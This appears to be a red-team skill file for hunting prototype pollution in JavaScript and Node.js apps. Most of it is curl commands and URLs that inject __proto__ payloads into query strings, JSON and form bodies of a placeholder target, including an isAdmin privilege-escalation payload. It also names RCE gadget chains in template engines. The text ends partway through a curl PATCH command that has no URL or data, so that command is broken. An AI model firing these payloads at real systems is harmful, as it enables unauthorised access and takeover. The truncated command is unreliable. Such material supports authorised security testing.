hunt-prototype-pollution

name	hunt-prototype-pollution
description	Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE.
category	redteam
version	1.1.0
revision_date	"2026-07-25T00:00:00.000Z"
license	MIT
platforms	["linux"]
compatibility	Requires curl, python3
tags	["redteam","prototype-pollution","XSS","RCE","JavaScript","Node.js","jQuery"]
related_skills	["hunt-nodejs","hunt-xss","hunt-api-misconfig"]

Prototype Pollution Hunting

Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).

When to Use

• Application uses JavaScript/Node.js with object merge, clone, or extend operations on user input.
• jQuery $.extend(true, ...) or $.fn.merge() with deep copy on untrusted data.
• Lodash _.merge(), _.defaultsDeep(), _.set() receiving request body/query params.
• Template engines (EJS, Pug, Handlebars) in the same runtime as user-controlled objects.
• Server-side Node.js with child_process.exec/spawn accessible via polluted options.

Quick Detection

# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"

# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

Procedure

Phase 1 — Client-Side Pollution Vectors

# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted

# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}'

# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
  -d '__proto__[polluted]=true'

# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH  \
  -H  \
  -d